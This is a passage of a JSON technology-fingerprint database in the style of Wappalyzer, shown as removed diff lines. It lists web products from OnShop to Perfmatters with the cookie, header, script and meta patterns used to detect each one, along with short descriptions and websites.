"onshop ecommerce" - ] - }, - "implies": [ - "PHP" - ], - "description": "OnShop is an ecommerce platform for online merchants.", - "website": "https://onshop.asia" - }, - "OnUniverse": { - "description": "OnUniverse is the first website builder and commerce platform built for mobile devices.", - "website": "https://onuniverse.com" - }, - "One.com": { - "description": "One.com is a Denmark-based company offering bargain-priced WordPress and shared web hosting plans.", - "website": "https://www.one.com" - }, - "OneAPM": { - "js": [ - "bweum" - ], - "website": "http://www.oneapm.com" - }, - "OneAll": { - "js": [ - "oa_social_login" - ], - "description": "OneAll is a social login solution enables your users to sign into their accounts on your website or mobile app using their login details from networking sites.", - "website": "https://www.oneall.com" - }, - "OneCause": { - "description": "OneCause is a fundraising platform designed for nonprofits to manage all types of fundraising campaigns.", - "website": "https://www.onecause.com" - }, - "OnePage Express": { - "js": [ - "one_page_express_settings" - ], - "description": "OnePage Express is a beautiful WordPress theme that can be used to create a one page website in minutes by drag and drop.", - "website": "https://onepageexpress.com" - }, - "OnePress Social Locker": { - "js": [ - "__pandalockers", - "bizpanda" - ], - "description": "Social Locker locks your most valuable site content behind a set of social buttons until the visitor likes, shares, +1s or tweets your page.", - "website": "https://wordpress.org/plugins/social-locker" - }, - "OneSignal": { - "js": [ - "onesignal", - "__onesignalsdkloadcount" - ], - "description": "OneSignal is a customer engagement messaging solution.", - "website": "https://onesignal.com" - }, - "OneStat": { - "js": [ - "onestat_pageview" - ], - "website": "http://www.onestat.com" - }, - "OneTrust": { - "cookies": { - "optanonconsent": "" - }, - "description": "OneTrust is a cloud-based data privacy management compliance platform.", - "website": "http://www.onetrust.com" - }, - "Oney": { - "js": [ - "oneymarketplace", - "isoneyactive", - "openoneylayer" - ], - "description": "Oney is an app that gives consumers back the power over their spending and makes split payments universal.", - "website": "https://www.oney.com" - }, - "Onfido": { - "headers": { - "content-security-policy": "(?:api|sync)\\.onfido\\.com" - }, - "description": "Onfido is a technology company that helps businesses verify people's identities using a photo-based identity document, a selfie and artificial intelligence algorithms.", - "website": "https://onfido.com" - }, - "Ookla Speedtest Custom": { - "headers": { - "content-security-policy": "\\.speedtestcustom\\.com" - }, - "description": "Speedtest Custom is a robust and accurate testing solution that is HTML5-based, Flash-free and supports both mobile and desktop browsers built by Ookla.", - "website": "https://www.ookla.com/speedtest-custom" - }, - "Oopy": { - "js": [ - "__oopy__" - ], - "implies": [ - "Notion", - "Next.js" - ], - "description": "Oopy provides you with a simple and easy way to turn your Notion page into a performant website.", - "website": "https://oopy.us/" - }, - "Open AdStream": { - "js": [ - "oas_ad" - ], - "website": "https://www.xaxis.com" - }, - "Open Classifieds": { - "meta": { - "author": [ - "open-classifieds\\.com" - ], - "copyright": [ - "open classifieds ?([0-9.]+)?\\;version:\\1" - ] - }, - "website": "http://open-classifieds.com" - }, - "Open Graph": { - "description": "Open Graph is a protocol that is used to integrate any web page into the social graph.", - "website": "https://ogp.me" - }, - "Open Journal Systems": { - "cookies": { - "ojssid": "" - }, - "meta": { - "generator": [ - "open journal systems(?: ([\\d.]+))?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": "Open Journal Systems (OJS) is an open-source software application for managing and publishing scholarly journals.", - "website": "http://pkp.sfu.ca/ojs" - }, - "Open Web Analytics": { - "js": [ - "owa.config.baseurl", - "owa_baseurl", - "owa_cmds" - ], - "html": [ - "\u003c!-- (?:start|end) open web analytics tracker --\u003e" - ], - "website": "http://www.openwebanalytics.com" - }, - "Open eShop": { - "meta": { - "author": [ - "open-eshop\\.com" - ], - "copyright": [ - "open eshop ?([0-9.]+)?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://open-eshop.com/" - }, - "Open-Xchange App Suite": { - "js": [ - "ox.version" - ], - "implies": [ - "Java" - ], - "description": "Open-Xchange is a web-based communication, collaboration and office productivity software suite.", - "website": "https://www.open-xchange.com/" - }, - "OpenBSD httpd": { - "headers": { - "server": "^openbsd httpd" - }, - "website": "https://man.openbsd.org/httpd.8" - }, - "OpenCV": { - "js": [ - "opencvisready" - ], - "implies": [ - "WebAssembly" - ], - "description": "OpenCV (Open Source Computer Vision Library) is an open source computer vision and machine learning software library.", - "website": "https://opencv.org" - }, - "OpenCart": { - "cookies": { - "ocsessid": "" - }, - "implies": [ - "PHP", - "MySQL" - ], - "description": "OpenCart is a free and open-source ecommerce platform used for creating and managing online stores. It is written in PHP and uses a MySQL database to store information.", - "website": "http://www.opencart.com" - }, - "OpenCities": { - "js": [ - "opencities" - ], - "description": "OpenCities is a content management system built for government organizations.", - "website": "https://granicus.com/solution/govaccess/opencities/" - }, - "OpenCms": { - "headers": { - "server": "opencms" - }, - "html": [ - "\u003clink href=\"/opencms/" - ], - "implies": [ - "Java" - ], - "website": "http://www.opencms.org" - }, - "OpenElement": { - "js": [ - "oe.getools", - "oeconfwemenu" - ], - "meta": { - "generator": [ - "openelement\\s\\(([\\d\\.]+)\\)\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": "OpenElement is a free website building application with a WYSIWYG interface.", - "website": "http://openelement.uk" - }, - "OpenGSE": { - "headers": { - "server": "gse" - }, - "implies": [ - "Java" - ], - "description": "OpenGSE is a test suite used for testing servlet compliance. It is deployed by using WAR files that are deployed on the server engine.", - "website": "http://code.google.com/p/opengse" - }, - "OpenGrok": { - "cookies": { - "opengrok": "" - }, - "meta": { - "generator": [ - "opengrok(?: v?([\\d.]+))?\\;version:\\1" - ] - }, - "implies": [ - "Java" - ], - "website": "http://hub.opensolaris.org/bin/view/Project+opengrok/WebHome" - }, - "OpenLayers": { - "js": [ - "ol.canvasmap", - "openlayers.version_number" - ], - "description": "OpenLayers is an open-source JavaScript library for displaying map data in web browser.", - "website": "https://openlayers.org" - }, - "OpenNemas": { - "headers": { - "x-powered-by": "opennemas" - }, - "meta": { - "generator": [ - "opennemas" - ] - }, - "website": "http://www.opennemas.com" - }, - "OpenPay": { - "description": "Openpay is an innovative online and in-store payment solution enabling you to purchase now and pay later, with no interest.", - "website": "https://www.openpay.com.au/" - }, - "OpenResty": { - "headers": { - "server": "openresty(?:/([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Nginx" - ], - "description": "OpenResty is a web platform based on nginx which can run Lua scripts using its LuaJIT engine.", - "website": "http://openresty.org" - }, - "OpenSSL": { - "headers": { - "server": "openssl(?:/([\\d.]+[a-z]?))?\\;version:\\1" - }, - "description": "OpenSSL is a software library for applications that secure communications over computer networks against eavesdropping or need to identify the party at the other end.", - "website": "http://openssl.org" - }, - "OpenStreetMap": { - "description": "OpenStreetMap is a free, editable map of the whole world that is being built by volunteers largely from scratch and released with an open-content license.", - "website": "https://www.openstreetmap.org" - }, - "OpenSwoole": { - "headers": { - "server": "openswoole(?:/([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "PHP" - ], - "description": "OpenSwoole is a high-performance, asynchronous, event-driven, coroutine-based PHP framework.", - "website": "https://openswoole.com" - }, - "OpenTable": { - "description": "OpenTable is an online restaurant-reservation service company founded by Sid Gorham, Eric Moe and Chuck Templeton on 2 July 1998 and is based in San Francisco, California.", - "website": "https://restaurant.opentable.com" - }, - "OpenText Web Solutions": { - "html": [ - "\u003c!--[^\u003e]+published by open text web solutions" - ], - "implies": [ - "Microsoft ASP.NET" - ], - "website": "http://websolutions.opentext.com" - }, - "OpenUI5": { - "js": [ - "sap.ui.version" - ], - "website": "http://openui5.org/" - }, - "OpenWeb": { - "js": [ - "spotim.initconversation" - ], - "meta": { - "spotim-ads": [] - }, - "description": "OpenWeb is a social engagement platform that builds online communities around digital content.", - "website": "https://www.openweb.com" - }, - "OpenX": { - "js": [ - "openx.name" - ], - "description": "OpenX is a programmatic advertising technology company.", - "website": "http://openx.com" - }, - "OperateBeyond": { - "description": "OperateBeyond is a software development company that offers website design, automated inventory management, CRM, dealer websites, and DMS.", - "website": "https://operatebeyond.com/dealer-websites-marketing" - }, - "OpinionLab": { - "js": [ - "ooo.browser", - "ooo.version" - ], - "description": "OpinionLab is a omnichannel customer feedback solution provider.", - "website": "https://www.opinionlab.com" - }, - "OptiMonk": { - "description": "OptiMonk is an on-site message toolkit used to improve conversions using action-based popups ad bars.", - "website": "https://www.optimonk.com" - }, - "Optimise": { - "js": [ - "omid" - ], - "description": "Optimise Media Group is a UK-based performance advertising network.", - "website": "https://www.optimisemedia.com" - }, - "Optimizely": { - "cookies": { - "optimizelyenduserid": "" - }, - "js": [ - "optimizely", - "optimizelyclient.clientversion", - "optimizelysdk" - ], - "description": "Optimizely is an experimentation platform that helps developers build and run A/B tests on websites.", - "website": "https://www.optimizely.com" - }, - "Optimizely Commerce": { - "cookies": { - "epi:statemarker": "" - }, - "meta": { - "generator": [ - "episerver" - ] - }, - "description": "Optimizely Commerce is a complete suite for digital ecommerce and content management that uses artificial intelligence to deliver personalised experiences, individualised search rankings and product recommendations.", - "website": "https://www.optimizely.com/products/commerce/b2c/" - }, - "Optimizely Content Management": { - "cookies": { - "epi:statemarker": "", - "episerver": "", - "episessionid": "", - "epitrace": "" - }, - "headers": { - "content-security-policy": "\\.episerver\\.net" - }, - "meta": { - "generator": [ - "episerver" - ] - }, - "implies": [ - "Microsoft ASP.NET" - ], - "description": "Optimizely Content Management (formerly EPiServer) is digital content, ecommerce, and marketing management solution designed for editors and marketers.", - "website": "https://www.optimizely.com/products/content/" - }, - "Optimove": { - "js": [ - "optimovesdk", - "optimovesdkversion" - ], - "description": "Optimove is a relationship marketing hub powered by a combination of advanced customer modeling, predictive micro-segmentation and campaign automation technologies.", - "website": "https://www.optimove.com" - }, - "OptinMonster": { - "js": [ - "optinmonsterapp" - ], - "description": "OptinMonster is a conversion optimisation tool that allows you to grow your email list.", - "website": "https://optinmonster.com" - }, - "OptinMonster plugin": { - "implies": [ - "OptinMonster" - ], - "description": "OptinMonster is a lead-generation plugin for WordPress.", - "website": "https://optinmonster.com" - }, - "Oracle Application Express": { - "js": [ - "apex.libversions", - "apex_img_dir" - ], - "description": "Oracle Application Express (APEX) is an enterprise low-code development platform from Oracle Corporation. APEX is a fully supported no-cost feature of Oracle Database.", - "website": "https://apex.oracle.com" - }, - "Oracle Application Server": { - "headers": { - "server": "oracle[- ]application[- ]server(?: containers for j2ee)?(?:[- ](\\d[\\da-z./]+))?\\;version:\\1" - }, - "website": "http://www.oracle.com/technetwork/middleware/ias/overview/index.html" - }, - "Oracle BlueKai": { - "js": [ - "bluekailoaded" - ], - "description": "Oracle BlueKai is a cloud-based big data platform that enables companies to personalise online, offline, and mobile marketing campaigns.", - "website": "https://www.oracle.com/cx/marketing/data-management-platform" - }, - "Oracle Commerce": { - "headers": { - "x-atg-version": "(?:atgplatform/([\\d.]+))?\\;version:\\1" - }, - "description": "Oracle Commerce is a unified B2B and B2C ecommerce platform.", - "website": "http://www.oracle.com/applications/customer-experience/commerce/products/commerce-platform/index.html" - }, - "Oracle Commerce Cloud": { - "headers": { - "oraclecommercecloud-version": "^(.+)$\\;version:\\1" - }, - "description": "Oracle Commerce Cloud is a cloud-native, fully featured, extensible SaaS ecommerce solution, delivered in the Oracle Cloud, supporting B2C and B2B models in a single platform.", - "website": "http://cloud.oracle.com/commerce-cloud" - }, - "Oracle Dynamic Monitoring Service": { - "headers": { - "x-oracle-dms-ecid": "" - }, - "implies": [ - "Oracle WebLogic Server" - ], - "description": "Oracle Dynamic Monitoring Service is a feature of Oracle WebLogic Server that provides real-time monitoring and diagnostic capabilities for Java applications running on the WebLogic Server.", - "website": "http://oracle.com" - }, - "Oracle HTTP Server": { - "headers": { - "server": "oracle-http-server(?:/([\\d.]+))?\\;version:\\1" - }, - "website": "http://oracle.com" - }, - "Oracle Infinity": { - "description": "Oracle Infinity is a digital analytics platform for tracking, measuring, and optimizing the performance and visitor behavior of enterprise websites and mobile apps.", - "website": "https://www.oracle.com/cx/marketing/digital-intelligence/" - }, - "Oracle Maxymiser": { - "js": [ - "maxy", - "mmsystem.getconfig" - ], - "description": "Oracle Maxymiser is a real-time behavioral targeting, in-session personalisation, and product recommendations platform.", - "website": "https://www.oracle.com/uk/cx/marketing/personalization-testing" - }, - "Oracle Recommendations On Demand": { - "website": "http://www.oracle.com/us/products/applications/commerce/recommendations-on-demand/index.html" - }, - "Oracle Web Cache": { - "headers": { - "server": "oracle(?:as)?[- ]web[- ]cache(?:[- /]([\\da-z./]+))?\\;version:\\1" - }, - "description": "Oracle Web Cache is a browser and content management server, which improves the performance of web sites.", - "website": "http://oracle.com" - }, - "Oracle WebLogic Server": { - "implies": [ - "Java" - ], - "description": "Oracle WebLogic Server is a Java-based application server that provides a platform for developing, deploying, and running enterprise-level Java applications.", - "website": "https://www.oracle.com/java/weblogic/" - }, - "Orankl": { - "js": [ - "orankl", - "oranklinit" - ], - "description": "Orankl is a provider email marketing and review services.", - "website": "https://www.orankl.com" - }, - "OrbitFox": { - "description": "OrbitFox is a multi-featured WordPress plugin that works with the Elementor, Beaver Builder and Gutenberg site-building utilities by Themeisle.", - "website": "https://themeisle.com/plugins/orbit-fox-companion" - }, - "Orchard Core": { - "headers": { - "x-generator": "^orchard$", - "x-powered-by": "orchardcore" - }, - "meta": { - "generator": [ - "orchard" - ] - }, - "implies": [ - "Microsoft ASP.NET" - ], - "description": "Orchard Core is an open-source modular and multi-tenant application framework built with ASP.NET Core, and a content management system (CMS).", - "website": "https://orchardcore.net" - }, - "Orckestra": { - "headers": { - "x-orckestra-commerce": ".net client", - "x-powered-by": "orckestra" - }, - "meta": { - "generator": [ - "^c1 cms foundation - free open source from orckestra and https://github.com/orckestra/c1-cms-foundation$" - ] - }, - "implies": [ - "Microsoft ASP.NET" - ], - "description": "Orckestra is a provider of cloud-based digital unified and omnichannel commerce solutions for retail and manufacturing industries.", - "website": "https://www.orckestra.com" - }, - "Order Deadline": { - "js": [ - "orderdeadlineappbyeesl" - ], - "implies": [ - "Shopify" - ], - "description": "Order Deadline is an estimated delivery, countdown timer, shipping date Shopify app.", - "website": "https://apps.shopify.com/order-deadline" - }, - "OrderLogic app": { - "js": [ - "orderlogic.alerts_key", - "orderlogic.default_money_format", - "orderlogic.cartdata" - ], - "implies": [ - "Shopify" - ], - "description": "OrderLogic app allows you to define minimum and maximum product quantities for all products in your Shopify store.", - "website": "https://apps.shopify.com/orderlogic" - }, - "OrderYOYO": { - "js": [ - "smartbanneroy" - ], - "description": "OrderYOYO is an online ordering, payment, and marketing software solution provider.", - "website": "https://orderyoyo.com" - }, - "Ordergroove": { - "headers": { - "content-security-policy": "\\.ordergroove\\.com" - }, - "description": "Ordergroove provides a SaaS (Software as a Service) based subscription and membership commerce platform.", - "website": "https://www.ordergroove.com/" - }, - "Ordersify Product Alerts": { - "js": [ - "ordersify_bis.stockremainingsetting" - ], - "implies": [ - "Shopify" - ], - "description": "Ordersify Product Alerts is a Shopify app which detects automatically product stock and send email alerts to contact immediately after your products are restocked.", - "website": "https://ordersify.com/products/product-alerts" - }, - "OroCommerce": { - "html": [ - "\u003cscript [^\u003e]+data-requiremodule=\"oro/", - "\u003cscript [^\u003e]+data-requiremodule=\"oroui/" - ], - "implies": [ - "PHP", - "MySQL" - ], - "website": "https://oroinc.com" - }, - "Osano": { - "js": [ - "osano" - ], - "description": "Osano is a data privacy platform that helps your website become compliant with laws such as GDPR and CCPA.", - "website": "https://www.osano.com" - }, - "Osterreichische Post": { - "description": "Österreichische Post is an Austrian logistics and postal services provider.", - "website": "https://www.post.at" - }, - "OutSystems": { - "js": [ - "outsystemsdebugger", - "outsystems" - ], - "implies": [ - "Windows Server", - "IIS" - ], - "description": "OutSystems is a low-code platform which provides tools for companies to develop, deploy and manage omnichannel enterprise applications.", - "website": "https://www.outsystems.com" - }, - "OutTheBoxThemes Panoramic": { - "description": "Panoramic is a fully responsive WordPress theme with a homepage slider by OutTheBoxThemes.", - "website": "https://www.outtheboxthemes.com/wordpress-themes/panoramic" - }, - "Outbrain": { - "js": [ - "ob_adv_id", - "ob_releasever", - "outbrainpermalink", - "obapi.version" - ], - "description": "Outbrain is a web advertising platform that displays boxes of links, known as chumboxes, to pages within websites.", - "website": "https://www.outbrain.com" - }, - "Outlook Web App": { - "js": [ - "isowapremiumbrowser" - ], - "headers": { - "x-owa-version": "([\\d\\.]+)?\\;version:\\1" - }, - "html": [ - "\u003clink[^\u003e]+/owa/auth/([\\d\\.]+)/themes/resources\\;version:\\1" - ], - "implies": [ - "Microsoft ASP.NET" - ], - "description": "Outlook on the web is an information manager web app. It includes a web-based email client, a calendar tool, a contact manager, and a task manager.", - "website": "http://help.outlook.com" - }, - "Oxatis": { - "meta": { - "generator": [ - "^oxatis\\s\\(www\\.oxatis\\.com\\)$" - ] - }, - "description": "Oxatis is a cloud-based ecommerce solution which enables users to create and manage their own online store websites.", - "website": "https://www.oxatis.com/" - }, - "Oxi Social Login": { - "description": "Oxi Social Login provides one click login with services like Facebook, Google and many more.", - "website": "https://www.oxiapps.com/" - }, - "Oxygen": { - "html": [ - "\u003cbody class=(?:\"|')[^\"']*oxygen-body", - "\u003clink [^\u003e]*href=(?:\"|')[^\u003e]*wp-content/plugins/oxygen/" - ], - "description": "Oxygen Builder is a tool to build a WordPress website.", - "website": "https://oxygenbuilder.com" - }, - "PCRecruiter": { - "js": [ - "pcrbaseurl", - "pcrdialog", - "pcrframeoptions" - ], - "description": "PCRecruiter is an ATS/CRM hybrid SaaS solution for recruiting and sourcing professionals.", - "website": "https://www.pcrecruiter.net" - }, - "PDF.js": { - "js": [ - "pdfjs", - "pdfjs.version", - "_pdfjscompatibilitychecked", - "pdfjsdistbuildpdf.version", - "pdfjslib.version" - ], - "html": [ - "\u003c\\/div\u003e\\s*\u003c!-- outercontainer --\u003e\\s*\u003cdiv\\s*id=\"printcontainer\"\u003e\u003c\\/div\u003e" - ], - "website": "https://mozilla.github.io/pdf.js/" - }, - "PHP": { - "cookies": { - "phpsessid": "" - }, - "headers": { - "server": "php/?([\\d.]+)?\\;version:\\1", - "x-powered-by": "^php/?([\\d.]+)?\\;version:\\1" - }, - "description": "PHP is a general-purpose scripting language used for web development.", - "website": "http://php.net" - }, - "PHP-Nuke": { - "html": [ - "\u003c[^\u003e]+powered by php-nuke" - ], - "meta": { - "generator": [ - "php-nuke" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://phpnuke.org" - }, - "PHPDebugBar": { - "js": [ - "phpdebugbar", - "phpdebugbar" - ], - "website": "http://phpdebugbar.com/" - }, - "PHPFusion": { - "headers": { - "x-phpfusion": "(.+)$\\;version:\\1", - "x-powered-by": "phpfusion (.+)$\\;version:\\1" - }, - "html": [ - "powered by \u003ca href=\"[^\u003e]+phpfusion", - "powered by \u003ca href=\"[^\u003e]+php-fusion" - ], - "implies": [ - "PHP", - "MySQL" - ], - "website": "https://phpfusion.com" - }, - "PIXIjs": { - "js": [ - "pixi", - "pixi.version", - "pixi_webworker_url" - ], - "description": "PIXIjs is a free open-source 2D engine used to make animated websites and HTML5 games.", - "website": "https://www.pixijs.com" - }, - "POLi Payment": { - "js": [ - "wc_ga_pro.available_gateways.poli" - ], - "description": "POLi Payment(formerly known as Centricom) is an online payment service in Australia and New Zealand.", - "website": "https://www.polipayments.com" - }, - "POWR": { - "js": [ - "powr_receivers", - "loadpowr" - ], - "description": "POWR is a cloud-based system of plugins that work on almost any website.", - "website": "https://www.powr.io" - }, - "PWA": { - "description": "Progressive Web Apps (PWAs) are web apps built and enhanced with modern APIs to deliver enhanced capabilities, reliability, and installability while reaching anyone, anywhere, on any device, all with a single codebase.", - "website": "https://web.dev/progressive-web-apps/" - }, - "PWA Studio": { - "js": [ - "__fetchlocaledata__", - "fetchrootcomponent" - ], - "description": "PWA Studio is a collection of tools that lets developers build complex Progressive Web Applications on top of Magento 2 or Adobe Commerce stores.", - "website": "https://developer.adobe.com/commerce/pwa-studio/" - }, - "Pace": { - "js": [ - "rely_shop_currency", - "rely_shop_money_format", - "pacepay", - "rely_month_installment" - ], - "description": "PacePay offers a BNPL (Buy now pay later) solution for merchants.", - "website": "https://pacenow.co/" - }, - "Packlink PRO": { - "implies": [ - "Shopify" - ], - "description": "Packlink PRO is a multicarrier shipping solutions for ecommerce and marketplaces.", - "website": "https://apps.shopify.com/packlink-pro" - }, - "Paddle": { - "js": [ - "paddle.checkout", - "paddlescriptlocation" - ], - "description": "Paddle is a billing and payment gateway for B2B SaaS companies.", - "website": "https://paddle.com/" - }, - "PagSeguro": { - "js": [ - "pagsegurodirectpayment", - "_pagsegurodirectpayment" - ], - "description": "PagSeguro is an online or mobile payment-based ecommerce service for commercial operations.", - "website": "https://pagseguro.uol.com.br" - }, - "Pagar.me": { - "js": [ - "pagarmecheckout", - "pagarme.balance" - ], - "description": "Pagar.me is a Portuguese-language online payments solution for businesses in Brazil.", - "website": "https://pagar.me" - }, - "Page Builder Framework": { - "description": "Page Builder Framework is a lightweight (less than 50kb on the frontend) and highly customizible WordPress theme.", - "website": "https://wp-pagebuilderframework.com" - }, - "PageFly": { - "js": [ - "__pagefly_setting__" - ], - "headers": { - "x-powered-by": "pagefly" - }, - "description": "PageFly is an app for Shopify that allows you to build landing pages, product pages, blogs, and FAQs.", - "website": "https://pagefly.io" - }, - "Pagefai CMS": { - "headers": { - "x-powered-by": "pagefai cms" - }, - "description": "Pagefai is a cloud-based platform that offers software-as-a-service solutions to businesses, including the Pagefai CMS which provides ecommerce functionality and other business tools.", - "website": "https://www.pagefai.com" - }, - "Pagekit": { - "meta": { - "generator": [ - "pagekit" - ] - }, - "website": "http://pagekit.com" - }, - "Pagely": { - "headers": { - "server": "^pagely" - }, - "implies": [ - "WordPress", - "Amazon Web Services" - ], - "website": "https://pagely.com/" - }, - "Pagevamp": { - "js": [ - "pagevamp" - ], - "headers": { - "x-servedby": "pagevamp" - }, - "website": "https://www.pagevamp.com" - }, - "Paidy": { - "js": [ - "constants.paidy" - ], - "description": "Paidy is basically a two-sided payments service, acting as a middleman between consumers and merchants in Japan.", - "website": "https://paidy.com" - }, - "Paloma": { - "js": [ - "paloma.createcookie" - ], - "description": "Paloma helps ecommerce businesses sell directly to customers in messaging channels, with automated personal shopping conversations.", - "website": "https://www.getpaloma.com" - }, - "Panelbear": { - "js": [ - "panelbear" - ], - "description": "Panelbear is a simple website performance and traffic analytics tool.", - "website": "https://panelbear.com" - }, - "Pantheon": { - "headers": { - "server": "^pantheon", - "x-pantheon-styx-hostname": "", - "x-styx-req-id": "" - }, - "implies": [ - "PHP", - "Nginx", - "MariaDB", - "Fastly" - ], - "description": "Pantheon is a WebOps (Website Operations) and Management Platform for WordPress and Drupal.", - "website": "https://pantheon.io/" - }, - "Paradox": { - "js": [ - "_applybase", - "oliviachatbaseurl" - ], - "description": "Paradox is an AI company that helps companies capture and screen candidates, improve conversions, and answer all candidate questions.", - "website": "https://www.paradox.ai" - }, - "Parcelforce": { - "description": "Parcelforce is a courier and logistics service in the United Kingdom.", - "website": "https://www.parcelforce.com" - }, - "ParkingCrew": { - "js": [ - "pcrewadloaded" - ], - "description": "ParkingCrew is a direct navigation monetisation provider.", - "website": "https://www.parkingcrew.com" - }, - "Parmin Cloud": { - "headers": { - "x-powered-by": "^parmincloud$" - }, - "description": "Parmin Cloud operates in the field of cloud services.", - "website": "https://parmin.cloud" - }, - "Pars Elecom Portal": { - "headers": { - "x-powered-by": "pars elecom portal" - }, - "meta": { - "copyright": [ - "pars elecom portal" - ] - }, - "implies": [ - "Microsoft ASP.NET", - "IIS", - "Windows Server" - ], - "website": "http://parselecom.net" - }, - "Parse.ly": { - "js": [ - "parsely" - ], - "website": "https://www.parse.ly" - }, - "Partial.ly": { - "js": [ - "partiallybutton" - ], - "description": "Partial.ly payment plan software lets businesses offer customizable payment plans to their customers.", - "website": "https://partial.ly/" - }, - "Partnerize": { - "description": "Partnerize is the only partnership management solution for marketers seeking high quality, scalable subsidies to primary channels.", - "website": "https://prf.hn" - }, - "Parttrap ONE": { - "js": [ - "pt.analytics.additem", - "pt.sections.checkout", - "pt.translation.basketisempty" - ], - "implies": [ - "Handlebars", - "Microsoft ASP.NET", - "Bootstrap" - ], - "description": "Parttrap ONE is a complete solution including PIM, CMS, business optimization and ERP integration.", - "website": "https://www.parttrap.com" - }, - "Partytown": { - "js": [ - "partytown" - ], - "description": "Partytown is a lazy-loaded library to help relocate resource intensive scripts into a web worker, and off of the main thread.", - "website": "https://partytown.builder.io/" - }, - "Paths.js": { - "website": "https://github.com/andreaferretti/paths-js" - }, - "Patreon": { - "description": "Patreon is an American membership platform that provides business tools for content creators to run a subscription service.", - "website": "https://www.patreon.com" - }, - "Pattern by Etsy": { - "js": [ - "etsy" - ], - "description": "Pattern is an offering by Etsy to set up a website for Etsy sellers, in addition to Etsy shop.", - "website": "https://www.etsy.com/pattern" - }, - "Pay It Later": { - "js": [ - "payitlater" - ], - "description": "Pay It Later collect payments in weekly instalments from you when you make a purchase online, so you can buy now and pay it later.", - "website": "https://www.payitlater.com.au" - }, - "PayBright": { - "js": [ - "_paybright_config" - ], - "description": "PayBright is a Canadian fintech company that offers short-term interest-free installment loans for online shopping to consumers at checkout.", - "website": "https://paybright.com" - }, - "PayFast": { - "description": "PayFast is a payments processing service for South Africans \u0026 South African websites.", - "website": "https://www.payfast.co.za/" - }, - "PayJustNow": { - "description": "PayJustNow is a buy now, pay later checkout option for ecommerce sites.", - "website": "https://payjustnow.com" - }, - "PayKickStart": { - "description": "PayKickstart is an online shopping cart and affiliate management platform with built-in conversion enhancing features like one-click upsells for credit card/paypal, order bumps, custom checkout pages/widgets/embed forms, coupon management, auto-complete shipping fields, subscription saver sequences, and more.", - "website": "https://paykickstart.com" - }, - "PayPal": { - "js": [ - "checkout.enabledpayments.paypal", - "enablepaypal", - "paypal", - "paypalclientid", - "paypaljs", - "wc_ga_pro.available_gateways.paypal", - "paypal", - "__paypal_global__" - ], - "headers": { - "content-security-policy": "\\.paypal\\.com" - }, - "meta": { - "id": [ - "in-context-paypal-metadata" - ] - }, - "description": "PayPal is an online payments system that supports online money transfers and serves as an electronic alternative to traditional paper methods like checks and money orders.", - "website": "https://paypal.com" - }, - "PayPal Credit": { - "js": [ - "paypaloffersobject", - "paypalcreditpopover" - ], - "implies": [ - "PayPal" - ], - "description": "PayPal Credit is a reusable line of credit that lets you pay for online purchases over time.", - "website": "https://www.paypal.com/uk/webapps/mpp/paypal-virtual-credit" - }, - "PayPal Marketing Solutions": { - "implies": [ - "PayPal" - ], - "description": "PayPal Marketing Solutions enables merchants to see shopper insights and provide custom rewards for buyers with PayPal accounts.", - "website": "https://developer.paypal.com/docs/marketing-solutions" - }, - "PayWhirl": { - "js": [ - "paywhirlforshopifysettings" - ], - "description": "PayWhirl provides widgets and tools to handle recurring payments.", - "website": "https://app.paywhirl.com/" - }, - "Payflex": { - "description": "Payflex offers an online payment gateway solution to South African merchants that allows shoppers to pay over 6 weeks, interest-free.", - "website": "https://payflex.co.za/" - }, - "Payl8r": { - "description": "PayL8r.com offers repayment plans and online finance which allow you to purchase products online.", - "website": "https://payl8r.com/" - }, - "Paylocity": { - "description": "Paylocity is an American company which provides cloud-based payroll and human capital management software.", - "website": "https://www.paylocity.com" - }, - "Paymenter": { - "cookies": { - "paymenter_session": "" - }, - "implies": [ - "PHP", - "MySQL", - "Tailwind CSS" - ], - "description": "Paymenter is an open-source webshop solution for hosting companies.", - "website": "https://paymenter.org" - }, - "Paysafe": { - "js": [ - "paysafe.checkout", - "paysafe.fields", - "paysafe.threedsecure", - "paysafe" - ], - "description": "Paysafe is a payment platform that enables businesses and consumers to connect and transact by payment processing, digital wallet, and online cash solutions.", - "website": "https://www.paysafe.com/en" - }, - "PebblePost": { - "description": "PebblePost provides marketers a way to transform recent online data into intelligent direct mail programs that perform.", - "website": "https://www.pebblepost.com" - }, - "Peek": { - "js": [ - "peek", - "peekjsapi", - "_peekconfig" - ], - "description": "Peek is a online booking system for tour and activity providers.", - "website": "https://www.peek.com/" - }, - "PeerBoard": { - "description": "PeerBoard is a plug-and-play community solution, which helps groups, clubs, startups, marketplaces and businesses create discussion forums.", - "website": "https://peerboard.com" - }, - "PeerTube": { - "meta": { - "og:platform": [ - "^peertube$" - ] - }, - "description": "PeerTube is a free and open-source, decentralized, federated video platform powered by ActivityPub and WebTorrent.", - "website": "https://joinpeertube.org/" - }, - "Pelican": { - "html": [ - "powered by \u003ca href=\"[^\u003e]+getpelican\\.com", - "powered by \u003ca href=\"https?://pelican\\.notmyidea\\.org" - ], - "implies": [ - "Python" - ], - "website": "https://blog.getpelican.com/" - }, - "PencilBlue": { - "headers": { - "x-powered-by": "pencilblue" - }, - "implies": [ - "Node.js" - ], - "website": "https://github.com/pencilblue/pencilblue" - }, - "Pendo": { - "js": [ - "pendo.host", - "pendo.version" - ], - "description": "Pendo is a product analytics platform used in release to enrich the product experience and provide insights to the product management team.", - "website": "https://www.pendo.io" - }, - "Pepperjam": { - "js": [ - "pepperjamtracking", - "pepperjam" - ], - "description": "Pepperjam is an affiliate marketing solutions provider.", - "website": "https://www.pepperjam.com" - }, - "Percona": { - "description": "Percona server is an opensource, fully compatible, enhanced drop-in replacement for MySQL, providing superior performance, scalability, and instrumentation.", - "website": "https://www.percona.com" - }, - "Percussion": { - "html": [ - "\u003c[^\u003e]+class=\"perc-region\"" - ], - "meta": { - "generator": [ - "(?:percussion|rhythmyx)" - ] - }, - "website": "http://percussion.com" - }, - "PerfectApps Swift": { - "js": [ - "ps_apiuri", - "ps_storeurl" - ], - "description": "Swift is a page speed solution for ecommerce store owners built by PerfectApps.", - "website": "https://apps.shopify.com/swift" - }, - "Perfex CRM": { - "description": "Perfex CRM is self hosted customer relationship management software that is a great fit for almost any company, freelancer or many other uses.", - "website": "https://www.perfexcrm.com" - }, - "Perfmatters": { - "description": 